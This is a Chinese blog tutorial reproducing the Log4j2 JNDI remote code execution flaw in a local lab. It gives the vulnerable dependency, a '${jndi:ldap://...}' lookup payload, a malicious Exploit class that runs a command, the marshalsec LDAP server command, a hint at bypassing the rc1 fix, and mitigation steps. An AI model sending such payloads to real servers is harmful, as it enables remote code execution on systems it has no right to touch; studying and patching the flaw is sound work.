您的位置 首页 java

千万别中招!手把手教你复现Log4j2漏洞

原文链接:

来源:

| 简介

apache Log4j2是一个开源的Java日志框架,被广泛地应用在 中间件 、开发框架与Web应用中。

| 漏洞概述

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

| 影响范围

| 环境搭建

创建一个新的 maven 项目,并导入Log4j的依赖包

 <dependency>
    <groupId>org. Apache .logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
  

| 漏洞利用

1 使用POC测试

 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public  static  final Logger logger = LogManager.getLogger();
    public static  void  main(String[] args) {
        logger.error("${jndi:ldap://localhost:8888/Exploit}");
    }
}
  

2 编译一恶意类 Exploit .class

首先新建exp.java,然后编译为 class文件

 class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
             Runtime .getRuntime().exec(cmds);
        } catch (  Exception  e ) {
            e.printStackTrace();
        }
    }
}
  

javac exp.java

3 使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"#Exploit" 8888
  

4 运行poc.java,即可访问恶意类并执行写在其中的”calc”命令

结合一些其它 StrLookup 适当变形,以及配合官方 测试用例 中的脏数据 “?Type=A Type&Name=1100110&Char=!” 可绕过rc1,RC2版本对此异常进行了捕获。

| 修复方式

目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:

建议同时采用如下临时措施进行漏洞防范:

  • 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
  • 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  • JDK 使用11.0.1、8u191、7u201、6u211及以上的高版本;
  • 部署使用第三方防火墙产品进行安全防护。

文章来源:智云一二三科技

文章标题:千万别中招!手把手教你复现Log4j2漏洞

文章地址:https://www.zhihuclub.com/196125.shtml

关于作者: 智云科技

热门文章

发表回复

您的电子邮箱地址不会被公开。

网站地图